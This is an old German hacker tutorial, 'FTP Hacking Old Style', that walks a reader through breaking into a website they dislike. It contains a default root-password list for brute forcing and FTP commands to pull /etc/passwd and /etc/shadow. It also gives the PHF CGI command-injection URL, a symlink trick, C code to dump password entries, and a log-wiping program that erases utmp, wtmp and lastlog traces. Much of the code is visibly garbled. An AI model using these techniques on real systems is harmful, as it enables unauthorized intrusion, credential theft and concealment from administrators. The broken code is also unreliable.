=> FTP Hacking Old Style by Outlaw <= Vorweg möchte ich sagen das wenn ihr Punkt 4 nicht versteht, mir keine Mails mit Fragen schicken braucht. Es währe sinnlos einem Newbee was über C++ Programmierung zu erklären. Viel Spass beim lesen und ausprobieren. Ps.: Für Rechtschreibfehler wird nicht gehaftet "°!!°" Also, du hast im Internet eine ziemlich Lame Seite gefunden die dir nicht gefällt. Du willst sie weghaben. Aber wie? Du musst wohl den Account hacken. Dazu benötigst du entweder das Pwd des Users oder nen Root Account. Root Account´s sind die Account´s von denen ich alles machen kann was ich will. Alle anderen haben nur beschränkt zugriff auf den Server. Also gehe ich ans Dos-Promt von Windoof und tippe ftp.target.com. Dann kommt so ein Text: Welcome to our ftp server. please login. Login: Jetzt kann es sein, dass ich ein Problem habe, da ich vielleicht keinen Username habe. Also muss ich probieren. (root, system, test, demo...) Habe ich einen Username gebe ich ihn ein und warte auf die pwd abfrage. Hier muss ich jetzt probieren, da ich das Pwd einer fremden Website ja nicht weiss. Habe ich keinen Username kann ich versuchen mich mit anonymous einzuloggen. Sollte das klappen, gebe ich "get /etc/passwd" ein. damit sollte ich das pwd File kriegen. Wenn ich das File habe trenne ich möglichst schnell die Verbindung und sehe zu, dass ich den Account nie wieder verwende. Dann kann ich das Pwd File cracken, dazu gibt es Prgoramme wie Jack the Ripper u.ä, die folgen sobald ich eine halbwegsbrauchbare, funktionsfähige Version gefunden habe werde ich sie Hitboy schicken. Sollte das PWD File nicht in /etc/passwd sein oder bei den Pwd´s x´e,, ne,... haben , probiere ich "get /etc/shadow" aus, das sollte mir das File bringen. Das mit dem shadow ist ein Sicherheitssystem von UNIX. Wenn ich die Meldung bekomme: "File marked", oder wenn ich das File nicht downloaden kann bleiben mir vier Möglichkeiten an root zukommen. Die ein ist Brute Force Hacking, die andere ist ein Bug, der in einigen UNIX Versionen vorkommt, die dritte ist kleinde Tricks, die eventuell klappen könnten und die vierte ist ein c script. 1) Superuser Passwd BFH Dabei probierst du alle möglichen Pwd´s auf einen Account aus. Dazu gibt´s bestimmt irgentwo ein script => geh mal suchen. Ansonsten probier mal diese Liste, sie ist aus einem recht neuen Guide, letztens hat daemon bei nem Server geklappt, also vielleicht hast du Glück. login: root pw: root login: root pw: system login: root pw: sysop login: sys pw: sys login: sys pw: system login: daemon pw: daemon login: uucp pw: uucp login: tty pw: tty login: test pw: test login: unix pw: unix login: unix pw: test login: bin pw: bin login: adm pw: adm login: adm pw: admin login: admin pw: admin login: sysman pw: sysman login: sysman pw: sys login: sysman pw: system login: sysadmin pw: sysadmin login: sysadmin pw: system login: sysadmin pw: sys login: sysadmin pw: admin login: sysadmin pw: adm login: who pw: who login: learn pw: learn login: uuhost pw: uuhost login: guest pw: guest login: host pw: host login: nuucp pw: nuucp login: rje pw: rje login: games pw: games login: games pw: player login: sysop pw: sysop login: demo pw: demo Zurück zum BFH. Du probierst root mit den pwd´s durch, dann sysadmin... usw. irgentwann findest du schon was. (BFH ist wirklich nur ausprobieren von pwds.). 2) Der Bug http://www.xxx.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/ect/passwd an Stelle des /etc/passwd am ende probierst du beim zweiten mal /etc/shadow 3) Die Tricks Also diese Tricks funktioniert nur auf einigen Systemen, vielleicht auch bei deinem Opfer. Der Trick beruht auf loops. Was loops sind möchte ich dir jetzt nicht inbedingt erklären, da das zu lange dauern würde. also du logs dich mit anonymous ein. Dann schreibst du : ypcat /etc/passwd >~/passwdb) rm -f ~/.lastlogin ln -s ~/.lastlogin /etc/passwd Now logout and then back in so that you create a link. cat .lastlogin > passwd rm -f ~/.lastlogin 4) Das Script Besorg dir nen c++ compiler. dann kopierst du dieses Script in das Programm und kompilst es. struct SHADOWPW { /* see getpwent(3) */ char *pw_name; char *pw_passwd; int pw_uid; int pw_gid; int pw_quota; char *pw_comment; char *pw_gecos; char *pw_dir; char *pw_shell;}; struct passwd *getpwent(), *getpwuid(), *getpwnam(); #ifdef elxsis? /* Name of the shadow password file. Contains password and aging info* #define SHADOW "/etc/shadowpw" #define SHADOWPW_PAG "/etc/shadowpw.pag" #define SHADOWPW_DIR "/etc/shadowpw.dir"/* * Shadow password file pwd->pw_gecos field contains:* * ,,,,* * = Type of password criteria to enforce (type int). * BSD_CRIT (0), normal BSD. * STR_CRIT (1), strong passwords. * = Password aging period (type long). * 0, no aging. * else, number of seconds in aging period. * = Time (seconds from epoch) of the last password * change (type long). * 0, never changed.n * =Time (seconds from ephoch) That the current password * Was made the (type long). * 0, never changed.ewromsinm * = Password (encrypted) saved for an aging t * prevent reuse during that period (type char [20]). * "*******", no .*/ /* number o tries to change an aged password */ #deffine CHANGE_TRIES 3 /* program to execute to change passwords */ #define PASSWD_PROG "/bin/passwd" /* Name of the password aging exempt user names and max number of entir #define EXEMPTPW "/etc/exemptpw" #define MAX_EXEMPT 100 /* Password criteria to enforce */ #define BSD_CRIT 0 /* Normal BSD password criteria */ #define STR_CRIT 1 /* Strong password criteria */ #define MAX_CRIT 1 #endif elxsi #define NULL 0 main(){ struct passwd *p; int i; for (;1;) {; p=getpwent(); if (p==NULL) return; printpw(p);} }printpw(a) struct SHADOWPW *a;{ printf("%s:%s:%d:%d:%s:%s:%s\n", a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid, a->pw_gecos,a->pw_dir,a->pw_shell);} /* SunOS 5.0 /etc/shadow */ /* SunOS4.1+c2 /etc/security/passwd.adjunct */ Wenn du dann das pwd file hast crack das mit nem cracker (astalavista.box.sk gucken gehen und nach cracker suchen). Wenn du dann root bist solltest du noch deinen login löschen. Also wieder ein c script. #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who;{ struct utmp utmp_ent; if ((f=open(UTMP_NAME,_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent));} close(f);}} void kill_wtmp(who)char *who;{ struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { seek(f,-(long)( (sizeof(struct utmp)) *pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L;} else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, utmp_ent, sizeof (utmp_ent)); pos = -1L;* else pos += 1L;}} close(f);}} void kill_lastlog(who)char *who;{ struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >=0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); close(f);} } else printf("%s: ?/n",who);} mai(argc,argv) int argc; char *argv[];{ if (argc--2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!/n");} else printf("Error./n");} Vielleicht hilft einem oder einer von euch das weiter !!!!! Member of Virtual Net Hackerz Visit us at http://www.vnh.de.cx Mfg Outlaw